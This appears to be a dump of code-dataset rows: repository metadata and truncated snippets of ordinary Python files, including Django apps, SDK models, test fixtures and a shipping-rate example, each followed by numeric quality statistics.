967c740ff6d845ab52dfd1593c534f964df1d1b9 | 242 | py | Python | setup.py | lohdejin/DenoiseTimeSeries | 18e6885f280bd3d0207d671da5eec6391054800e | [
"MIT"
] | null | null | null | setup.py | lohdejin/DenoiseTimeSeries | 18e6885f280bd3d0207d671da5eec6391054800e | [
"MIT"
] | null | null | null | setup.py | lohdejin/DenoiseTimeSeries | 18e6885f280bd3d0207d671da5eec6391054800e | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Thu Arpil 9 2020
@author: CJ
"""
from setuptools import setup
setup(name='Denoise',
version='0.1',
description='Denoise time series data',
packages=['Denoise'],
zip_safe=False)
| 17.285714 | 45 | 0.619835 | 31 | 242 | 4.806452 | 0.903226 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042328 | 0.219008 | 242 | 13 | 46 | 18.615385 | 0.746032 | 0.260331 | 0 | 0 | 0 | 0 | 0.239766 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.166667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9682e184400ccbd40f67109173f96f4905b5b84a | 1,646 | py | Python | python/test_script.py | NLeSC/WormTracker | 4e5436b716105e8c595d208245fb16e979167690 | [
"Apache-2.0"
] | 2 | 2018-04-09T04:12:24.000Z | 2018-08-05T03:01:01.000Z | python/test_script.py | NLeSC/WormTracker | 4e5436b716105e8c595d208245fb16e979167690 | [
"Apache-2.0"
] | null | null | null | python/test_script.py | NLeSC/WormTracker | 4e5436b716105e8c595d208245fb16e979167690 | [
"Apache-2.0"
] | null | null | null | import os
import cPickle
# Change this to the directory where the code is stored
os.chdir('D://Stephen/Documents/Code/wormtracker-matlab/python')
import wormtracker as wt
import wormtracker.parallel as wtp
"""
This script runs a performance test for the serial analysis on a
single region of a video segment.
Performan... | 27.898305 | 74 | 0.746659 | 258 | 1,646 | 4.736434 | 0.496124 | 0.042553 | 0.052373 | 0.02455 | 0.150573 | 0.109656 | 0.072013 | 0.072013 | 0.072013 | 0.072013 | 0 | 0.057021 | 0.147631 | 1,646 | 58 | 75 | 28.37931 | 0.81397 | 0.146416 | 0 | 0 | 0 | 0 | 0.283249 | 0.079188 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.178571 | null | null | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
96915fb4b1900178e4a8f2897b9752b7a0374054 | 3,051 | py | Python | djangocms_fullslider/cms_plugins.py | Logicify/djangocms-fullslider | cdc79208680315ebd5a98b65a6fafb4868020130 | [
"MIT"
] | null | null | null | djangocms_fullslider/cms_plugins.py | Logicify/djangocms-fullslider | cdc79208680315ebd5a98b65a6fafb4868020130 | [
"MIT"
] | 1 | 2017-10-17T19:49:23.000Z | 2017-10-27T18:36:05.000Z | djangocms_fullslider/cms_plugins.py | Logicify/djangocms-fullslider | cdc79208680315ebd5a98b65a6fafb4868020130 | [
"MIT"
] | 1 | 2017-08-29T11:13:07.000Z | 2017-08-29T11:13:07.000Z | # Full page slider plugin for Django CMS
# Copyright (C) 2017 Dmitriy Selischev
# The MIT License (MIT)
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restric... | 35.894118 | 92 | 0.683055 | 348 | 3,051 | 5.905172 | 0.465517 | 0.042822 | 0.050608 | 0.064234 | 0.127494 | 0.127494 | 0.049635 | 0.049635 | 0 | 0 | 0 | 0.001733 | 0.243527 | 3,051 | 84 | 93 | 36.321429 | 0.888648 | 0.388069 | 0 | 0.196078 | 0 | 0 | 0.131993 | 0.034221 | 0 | 0 | 0 | 0 | 0 | 1 | 0.039216 | false | 0 | 0.117647 | 0 | 0.568627 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
9693d3721f3e9fa6c675b4672a4edbecbd66a830 | 2,652 | py | Python | cohesity_management_sdk/models/extract_file_range_result.py | sachinthakare-cohesity/management-sdk-python | c95f67b7d387d5bab8392be43190e598280ae7b5 | [
"MIT"
] | null | null | null | cohesity_management_sdk/models/extract_file_range_result.py | sachinthakare-cohesity/management-sdk-python | c95f67b7d387d5bab8392be43190e598280ae7b5 | [
"MIT"
] | null | null | null | cohesity_management_sdk/models/extract_file_range_result.py | sachinthakare-cohesity/management-sdk-python | c95f67b7d387d5bab8392be43190e598280ae7b5 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2019 Cohesity Inc.
import cohesity_management_sdk.models.error_proto
class ExtractFileRangeResult(object):
"""Implementation of the 'Extract File Range Result.' model.
This will capture output of ExtractFileRange and ExtractNFSFileRange.
Attributes:
data (lis... | 32.341463 | 147 | 0.607089 | 302 | 2,652 | 5.235099 | 0.390728 | 0.056926 | 0.026565 | 0.034156 | 0.046806 | 0.046806 | 0 | 0 | 0 | 0 | 0 | 0.002776 | 0.32089 | 2,652 | 81 | 148 | 32.740741 | 0.875069 | 0.476998 | 0 | 0 | 0 | 0 | 0.084395 | 0 | 0 | 0 | 0 | 0.012346 | 0 | 1 | 0.057143 | false | 0 | 0.028571 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
96966db584773a89b4f817862fe016e1947d1551 | 375 | py | Python | chartapp/migrations/0003_alter_ether_balance.py | AlanMalikov777/Ethereum_addresses | 3c66f832fe09d22cdd48b5584eb4f1af41dd7e36 | [
"MIT"
] | null | null | null | chartapp/migrations/0003_alter_ether_balance.py | AlanMalikov777/Ethereum_addresses | 3c66f832fe09d22cdd48b5584eb4f1af41dd7e36 | [
"MIT"
] | null | null | null | chartapp/migrations/0003_alter_ether_balance.py | AlanMalikov777/Ethereum_addresses | 3c66f832fe09d22cdd48b5584eb4f1af41dd7e36 | [
"MIT"
] | null | null | null | # Generated by Django 4.0 on 2022-02-06 13:39
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('chartapp', '0002_ether_delete_product'),
]
operations = [
migrations.AlterField(
model_name='ether',
name='balance',
... | 19.736842 | 50 | 0.592 | 38 | 375 | 5.736842 | 0.815789 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068182 | 0.296 | 375 | 18 | 51 | 20.833333 | 0.757576 | 0.114667 | 0 | 0 | 1 | 0 | 0.136364 | 0.075758 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
96988994be9fb298b28432fceb7b8355ed1aeda4 | 254,013 | py | Python | tencentcloud/iecp/v20210914/models.py | HS-Gray/tencentcloud-sdk-python | b28b19c4beebc9f361aa3221afa36ad1ee047ccc | [
"Apache-2.0"
] | null | null | null | tencentcloud/iecp/v20210914/models.py | HS-Gray/tencentcloud-sdk-python | b28b19c4beebc9f361aa3221afa36ad1ee047ccc | [
"Apache-2.0"
] | null | null | null | tencentcloud/iecp/v20210914/models.py | HS-Gray/tencentcloud-sdk-python | b28b19c4beebc9f361aa3221afa36ad1ee047ccc | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf8 -*-
# Copyright (c) 2017-2021 THL A29 Limited, a Tencent company. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses... | 29.4269 | 126 | 0.598355 | 25,393 | 254,013 | 5.903123 | 0.05722 | 0.062923 | 0.02385 | 0.038526 | 0.732084 | 0.68199 | 0.645492 | 0.630282 | 0.607273 | 0.596886 | 0 | 0.004465 | 0.297217 | 254,013 | 8,632 | 127 | 29.4269 | 0.835225 | 0.296103 | 0 | 0.76001 | 0 | 0 | 0.07742 | 0.00233 | 0 | 0 | 0 | 0 | 0 | 1 | 0.11556 | false | 0.002398 | 0.00048 | 0 | 0.174299 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
969ea853228e6bca530e104c1cc51cc13bea2e29 | 3,536 | py | Python | tests/test_http.py | q0w/snug | a9de335b48d96190a2bfe5e606830c4a60cb5705 | [
"MIT"
] | 123 | 2018-01-23T17:29:29.000Z | 2022-02-11T06:57:57.000Z | tests/test_http.py | q0w/snug | a9de335b48d96190a2bfe5e606830c4a60cb5705 | [
"MIT"
] | 274 | 2018-01-25T07:17:55.000Z | 2022-01-20T07:37:10.000Z | tests/test_http.py | q0w/snug | a9de335b48d96190a2bfe5e606830c4a60cb5705 | [
"MIT"
] | 5 | 2017-11-26T21:31:12.000Z | 2021-11-28T10:19:57.000Z | from collections.abc import Mapping
from operator import attrgetter
import snug
class AlwaysEquals:
def __eq__(self, other):
return True
def __ne__(self, other):
return False
class AlwaysInEquals:
def __eq__(self, other):
return False
def __ne__(self, other):
retur... | 29.466667 | 79 | 0.593043 | 431 | 3,536 | 4.651972 | 0.164733 | 0.047382 | 0.06783 | 0.077805 | 0.495761 | 0.406484 | 0.354115 | 0.173067 | 0.04788 | 0.04788 | 0 | 0.004854 | 0.242647 | 3,536 | 119 | 80 | 29.714286 | 0.743839 | 0 | 0 | 0.159091 | 0 | 0 | 0.128959 | 0 | 0 | 0 | 0 | 0 | 0.295455 | 1 | 0.204545 | false | 0 | 0.034091 | 0.056818 | 0.397727 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
96a8a8253c0ea2a962ef0dbfeb0ca1b13598854a | 792 | py | Python | user/migrations/0046_auto_20190503_0435.py | akindele214/181hub_2 | 48b8814b5f66ad87f9a54721506076ddf70fe9bc | [
"MIT"
] | 1 | 2020-05-20T08:42:49.000Z | 2020-05-20T08:42:49.000Z | user/migrations/0046_auto_20190503_0435.py | akindele214/181hub_2 | 48b8814b5f66ad87f9a54721506076ddf70fe9bc | [
"MIT"
] | 14 | 2020-03-24T17:31:08.000Z | 2022-03-11T23:59:30.000Z | user/migrations/0046_auto_20190503_0435.py | akindele214/181hub_2 | 48b8814b5f66ad87f9a54721506076ddf70fe9bc | [
"MIT"
] | 1 | 2020-04-13T12:37:37.000Z | 2020-04-13T12:37:37.000Z | # Generated by Django 2.1.5 on 2019-05-03 03:35
from django.db import migrations, models
import uuid
class Migration(migrations.Migration):
dependencies = [
('user', '0045_auto_20190503_0238'),
]
operations = [
migrations.AddField(
model_name='monetization',
name... | 31.68 | 221 | 0.604798 | 90 | 792 | 5.233333 | 0.588889 | 0.07431 | 0.089172 | 0.106157 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.060302 | 0.246212 | 792 | 24 | 222 | 33 | 0.728643 | 0.056818 | 0 | 0.222222 | 1 | 0 | 0.226846 | 0.030872 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.277778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
96aaf37e177efdf3e72cb1d7d4b127659a4c77b1 | 1,355 | py | Python | sea/admin.py | rajeshr188/django-onex | f1086a4159b1d135e54327c77c93fcc6c446338f | [
"MIT"
] | 2 | 2019-06-08T22:50:59.000Z | 2020-07-12T14:13:18.000Z | sea/admin.py | rajeshr188/django-onex | f1086a4159b1d135e54327c77c93fcc6c446338f | [
"MIT"
] | 13 | 2020-02-11T23:51:43.000Z | 2021-06-05T13:10:49.000Z | sea/admin.py | rajeshr188/django-onex | f1086a4159b1d135e54327c77c93fcc6c446338f | [
"MIT"
] | null | null | null | from sea.models import Transaction,Account,Statement,drs
from django.contrib import admin
from django import forms
from import_export import fields,resources
from import_export.admin import ImportExportModelAdmin, ImportExportActionModelAdmin
from import_export.widgets import ForeignKeyWidget
# Register your models he... | 33.04878 | 84 | 0.723985 | 136 | 1,355 | 7.080882 | 0.382353 | 0.031153 | 0.049844 | 0.051921 | 0.172378 | 0.064382 | 0.064382 | 0 | 0 | 0 | 0 | 0 | 0.178598 | 1,355 | 41 | 85 | 33.04878 | 0.865229 | 0.019188 | 0 | 0.212121 | 0 | 0 | 0.079066 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.212121 | 0 | 0.69697 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
96b45a04c31aa252e6842c69ba9561c59c45fd82 | 1,098 | py | Python | drf_firebase_auth/utils.py | alexche77/drf-firebase-auth | 389e58b689005516b04ec17139a8675b284612b9 | [
"MIT"
] | null | null | null | drf_firebase_auth/utils.py | alexche77/drf-firebase-auth | 389e58b689005516b04ec17139a8675b284612b9 | [
"MIT"
] | null | null | null | drf_firebase_auth/utils.py | alexche77/drf-firebase-auth | 389e58b689005516b04ec17139a8675b284612b9 | [
"MIT"
] | null | null | null | """ helper functions """
from typing import Any
import uuid
from firebase_admin import auth
def get_firebase_user_uid(firebase_user: auth.UserRecord) -> str:
try:
if firebase_user.uid:
return firebase_user.uid
except Exception as e:
raise Exception(e)
def get_firebase_user_ident... | 28.153846 | 91 | 0.686703 | 139 | 1,098 | 5.18705 | 0.309353 | 0.266297 | 0.149792 | 0.133148 | 0.626907 | 0.586685 | 0.431345 | 0.331484 | 0.277393 | 0.149792 | 0 | 0.004837 | 0.246812 | 1,098 | 38 | 92 | 28.894737 | 0.866989 | 0.014572 | 0 | 0.366667 | 0 | 0 | 0.055866 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.1 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
96b620c60ec26d66184223a3f54db787f7badd33 | 2,563 | py | Python | backend/interactions/migrations/0002_initial.py | vadikam100500/foodgram-project-react | 11119e11d4919f72b3f104209102048ee38c366a | [
"PostgreSQL",
"MIT"
] | 1 | 2021-12-14T14:43:51.000Z | 2021-12-14T14:43:51.000Z | backend/interactions/migrations/0002_initial.py | vadikam100500/foodgram-project-react | 11119e11d4919f72b3f104209102048ee38c366a | [
"PostgreSQL",
"MIT"
] | null | null | null | backend/interactions/migrations/0002_initial.py | vadikam100500/foodgram-project-react | 11119e11d4919f72b3f104209102048ee38c366a | [
"PostgreSQL",
"MIT"
] | null | null | null | # Generated by Django 3.2.9 on 2021-12-09 14:18
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.db.models.expressions
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(setti... | 41.33871 | 175 | 0.649239 | 265 | 2,563 | 6.090566 | 0.271698 | 0.04461 | 0.069393 | 0.081784 | 0.566915 | 0.550805 | 0.461586 | 0.312887 | 0.238538 | 0.238538 | 0 | 0.011564 | 0.223956 | 2,563 | 61 | 176 | 42.016393 | 0.799899 | 0.017558 | 0 | 0.555556 | 1 | 0 | 0.147456 | 0.030604 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.074074 | 0 | 0.148148 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
96b81102d1745f89635612fee0e4d5bb5a38ca7f | 219 | py | Python | python/learn/base/data/l_deque.py | qrsforever/workspace | 53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f | [
"MIT"
] | 2 | 2017-06-07T03:20:42.000Z | 2020-01-07T09:14:26.000Z | python/learn/base/data/l_deque.py | qrsforever/workspace | 53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f | [
"MIT"
] | null | null | null | python/learn/base/data/l_deque.py | qrsforever/workspace | 53c7ce7ca7da62c9fbb3d991ae9e4e34d07ece5f | [
"MIT"
] | null | null | null | #!/usr/bin/python3
#coding:utf-8
from collections import deque
a = deque([1,2,3], maxlen=5)
a.append(4)
a.append(5)
a.append(6)
print(str(a))
a.appendleft(1)
print(str(a))
print(a.pop())
print(a.popleft())
print(a)
| 12.882353 | 30 | 0.671233 | 43 | 219 | 3.418605 | 0.55814 | 0.142857 | 0.108844 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.05102 | 0.105023 | 219 | 16 | 31 | 13.6875 | 0.69898 | 0.13242 | 0 | 0.181818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.090909 | 0.454545 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
7366318841f43e43c858eb4469f894d9cc23d139 | 962 | py | Python | mydb.py | UdokaVrede/CREST | 4d51f0853fb9393c16faf395eeb36c1e4ef1c99a | [
"MIT"
] | 1 | 2020-08-24T21:55:16.000Z | 2020-08-24T21:55:16.000Z | mydb.py | UdokaVrede/CREST | 4d51f0853fb9393c16faf395eeb36c1e4ef1c99a | [
"MIT"
] | 2 | 2020-12-18T10:15:28.000Z | 2021-01-01T18:59:35.000Z | mydb.py | UdokaVrede/CREST | 4d51f0853fb9393c16faf395eeb36c1e4ef1c99a | [
"MIT"
] | null | null | null | import sqlite3
class Database:
def __init__(self,db):
self.conn = sqlite3.connect(db)
self.cur = self.conn.cursor()
self.cur.execute("CREATE TABLE IF NOT EXISTS birthRecords(id INTEGER PRIMARY KEY,name varchar(50) NOT NULL, birthday text NOT NULL)")
self.conn.commit()
def fetch... | 33.172414 | 141 | 0.629938 | 123 | 962 | 4.861789 | 0.373984 | 0.093645 | 0.117057 | 0.113712 | 0.150502 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00545 | 0.237006 | 962 | 28 | 142 | 34.357143 | 0.809264 | 0 | 0 | 0.181818 | 0 | 0.045455 | 0.304574 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0.045455 | 0 | 0.409091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
73740f6e85f602d1652d071b9e17f482bfd45531 | 9,776 | py | Python | redbox.py | zeroepoch/redbox-rss | 569f2d1a6a01bc01cf00fa99d50a0e4cd53cc8d2 | [
"BSD-2-Clause"
] | 1 | 2016-09-17T04:12:19.000Z | 2016-09-17T04:12:19.000Z | redbox.py | zeroepoch/redbox-rss | 569f2d1a6a01bc01cf00fa99d50a0e4cd53cc8d2 | [
"BSD-2-Clause"
] | null | null | null | redbox.py | zeroepoch/redbox-rss | 569f2d1a6a01bc01cf00fa99d50a0e4cd53cc8d2 | [
"BSD-2-Clause"
] | null | null | null | #
# Redbox API Library
#
# Copyright (c) 2013-2016, Eric Work
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# Redistributions of source code must retain the above copyright notice, this
# ... | 29.095238 | 79 | 0.639116 | 1,265 | 9,776 | 4.834783 | 0.300395 | 0.045128 | 0.013734 | 0.00981 | 0.177077 | 0.128842 | 0.106933 | 0.076521 | 0.076521 | 0.076521 | 0 | 0.005132 | 0.282426 | 9,776 | 335 | 80 | 29.18209 | 0.866714 | 0.412132 | 0 | 0.228758 | 0 | 0 | 0.09099 | 0.014395 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.026144 | 0.065359 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7377979d91193bb64e1da6f49ee3af043c78b3f6 | 590 | py | Python | ebook_converter_bot/db/models/chat.py | amrelnagar286/ebook-converter-bot | 3cab2afb8360fc8d402c594b391bc68bb3256dba | [
"MIT"
] | 31 | 2021-08-28T08:16:17.000Z | 2022-03-22T10:31:02.000Z | ebook_converter_bot/db/models/chat.py | amrelnagar286/ebook-converter-bot | 3cab2afb8360fc8d402c594b391bc68bb3256dba | [
"MIT"
] | 11 | 2021-08-28T20:09:17.000Z | 2022-03-11T11:03:15.000Z | ebook_converter_bot/db/models/chat.py | yshalsager/ebook-converter-bot | 35c635be61d7e6b31ed9bbdd54e16945c2739447 | [
"MIT"
] | 3 | 2021-08-28T19:38:42.000Z | 2021-11-09T09:58:16.000Z | from sqlalchemy import VARCHAR, INT, Column, BIGINT
from ebook_converter_bot.db.base import Base
class Chat(Base):
__tablename__ = "chats"
id: int = Column(INT(), primary_key=True, autoincrement=True, nullable=False)
user_id: int = Column(BIGINT(), unique=True, nullable=False)
user_name: str = Column... | 36.875 | 81 | 0.698305 | 84 | 590 | 4.690476 | 0.488095 | 0.114213 | 0.091371 | 0.106599 | 0.126904 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008081 | 0.161017 | 590 | 15 | 82 | 39.333333 | 0.787879 | 0.044068 | 0 | 0 | 0 | 0 | 0.1121 | 0.101423 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.181818 | 0.090909 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
737b9dd3f6a055c4f341f08833889a206c3af462 | 2,144 | py | Python | tests/factories.py | InfraPixels/powerlibs-django-contrib-sns | 8b4a668a90d009d23a551a6d68d47a100478c97f | [
"MIT"
] | 2 | 2017-04-26T10:39:14.000Z | 2017-04-27T02:26:09.000Z | tests/factories.py | DroneMapp/powerlibs-django-contrib-sns | 8b4a668a90d009d23a551a6d68d47a100478c97f | [
"MIT"
] | null | null | null | tests/factories.py | DroneMapp/powerlibs-django-contrib-sns | 8b4a668a90d009d23a551a6d68d47a100478c97f | [
"MIT"
] | 1 | 2021-05-26T00:20:14.000Z | 2021-05-26T00:20:14.000Z | from powerlibs.django.contrib.sns.models import CRUDNotifierMixin, ChangeNotifierMixin
class Model:
def __init__(self, **kwargs):
self.id = None
self.pk = None
for key, value in kwargs.items():
setattr(self, key, value)
def save(self, *args, **kwargs):
self.id = s... | 27.844156 | 103 | 0.653451 | 232 | 2,144 | 5.732759 | 0.25 | 0.117293 | 0.068421 | 0.085714 | 0.298496 | 0.215789 | 0.215789 | 0 | 0 | 0 | 0 | 0.007961 | 0.23834 | 2,144 | 76 | 104 | 28.210526 | 0.806491 | 0 | 0 | 0.075472 | 0 | 0 | 0.166511 | 0.146455 | 0 | 0 | 0 | 0 | 0 | 1 | 0.226415 | false | 0.037736 | 0.018868 | 0.037736 | 0.490566 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
737c7812c63e19cf33df00c23a55d0cd0e061089 | 4,230 | py | Python | examples/estimate-shipping-prices.py | ychenbioinfo/shippo-python-client | 2cb967e9e32b4fca2160b04eb7fefa69aec93c48 | [
"MIT"
] | null | null | null | examples/estimate-shipping-prices.py | ychenbioinfo/shippo-python-client | 2cb967e9e32b4fca2160b04eb7fefa69aec93c48 | [
"MIT"
] | null | null | null | examples/estimate-shipping-prices.py | ychenbioinfo/shippo-python-client | 2cb967e9e32b4fca2160b04eb7fefa69aec93c48 | [
"MIT"
] | null | null | null | import shippo
"""
In this tutorial we want to calculate our average shipping costs so
we set pricing for customers.
We have a sender address, a parcel and a set of delivery zip codes.
We will retrieve all available shipping rates for each delivery
address and calculate the min, max and average price for specific
tra... | 35.546218 | 127 | 0.705674 | 614 | 4,230 | 4.767101 | 0.309446 | 0.090878 | 0.038264 | 0.047831 | 0.28015 | 0.206355 | 0.142808 | 0.118893 | 0.090878 | 0.090878 | 0 | 0.021771 | 0.196454 | 4,230 | 118 | 128 | 35.847458 | 0.839365 | 0.33357 | 0 | 0.085106 | 0 | 0 | 0.166306 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.021277 | null | null | 0.148936 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
737d083961c05ce8d727aea3b65fbe40e704d875 | 1,656 | py | Python | fixture/db.py | l0myy/python_testing | 9c51afb007b67fbaa3ed7fc3b326c01d3747f8eb | [
"Apache-2.0"
] | null | null | null | fixture/db.py | l0myy/python_testing | 9c51afb007b67fbaa3ed7fc3b326c01d3747f8eb | [
"Apache-2.0"
] | null | null | null | fixture/db.py | l0myy/python_testing | 9c51afb007b67fbaa3ed7fc3b326c01d3747f8eb | [
"Apache-2.0"
] | null | null | null | import pymysql
from model.group import Group
from model.contacts import Contact
class DbFixture():
def __init__(self, host, name, user, password):
self.host = host
self.name = name
self.user = user
self.password = password
self.connection = pymysql.connect(host=host, databa... | 36 | 114 | 0.585145 | 181 | 1,656 | 5.265193 | 0.276243 | 0.058762 | 0.029381 | 0.050367 | 0.272823 | 0.241343 | 0.241343 | 0.241343 | 0.241343 | 0.132214 | 0 | 0.010619 | 0.317633 | 1,656 | 45 | 115 | 36.8 | 0.832743 | 0 | 0 | 0.25641 | 0 | 0.025641 | 0.107553 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.102564 | false | 0.076923 | 0.076923 | 0 | 0.25641 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
737f2f00d6a0a90a66930f187e453cffbeaeef27 | 4,644 | py | Python | chromepasswords.py | BrianBarakaKasamba/Offensive-Python | 04af08ba49d5f5d81c84183a67418f70d0dbc4b4 | [
"MIT"
] | 1 | 2022-01-29T09:52:29.000Z | 2022-01-29T09:52:29.000Z | chromepasswords.py | BrianBarakaKasamba/Offensive-Python | 04af08ba49d5f5d81c84183a67418f70d0dbc4b4 | [
